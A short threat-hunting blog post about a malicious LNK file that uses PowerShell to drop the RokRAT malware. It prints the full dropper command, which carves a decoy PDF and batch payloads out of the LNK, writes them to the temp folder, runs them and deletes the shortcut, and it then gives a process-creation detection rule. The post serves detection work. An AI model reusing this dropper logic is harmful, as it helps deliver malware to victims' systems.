093. Detecting RokRAT's PowerShell Abuse

Hello everyone! I've spotted another interesting malicious LNK file, which abuses PowerShell to drop RokRAT, so let's look at detection opportunities you can use both for searching suspicious activity in your network and finding new similar files using external sources like VirusTotal.

So, the LNK file execute the following command:

powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%TEMP%'};$exs=@('.lnk');$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.* -File | where {$_.extension -in $exs} | where-object {$_.length -eq 0x031732EF} | Select-Object -ExpandProperty FullName ;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000010E4, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x002A7965;$lnkFile.Read($pdfFile, 0, 0x002A7965);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x002A8A49,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9190;$lnkFile.Read($exeFile, 0, 0x000D9190);$exePath=$env:temp+'\toy01.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x00381BD9,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x00000634;$lnkFile.Read($stringByte, 0, 0x00000634); $batStrPath = $env:temp+'\'+'toy02.dat';$string = [Text.Encoding]::GetEncoding('utf-8').GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0038220D,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x0000014C;$lnkFile.Read($batByte, 0, 0x0000014C);$executePath = $env:temp+'\'+'toy0'+'3.b'+'a'+'t'; Write-Host $executePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii; &$executePath; $lnkFile.Close();[System.IO.File]::Delete($lnkPath);"

As you can see, it reads the contents of the LNK file in order to extract and drop malicious files and a decoy document. So, we can use this behaviour to build our detection logic:

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("SeekOrigin" AND "Begin" AND "Read")

You can learn more about this campaign in this report.

See you tomorrow!

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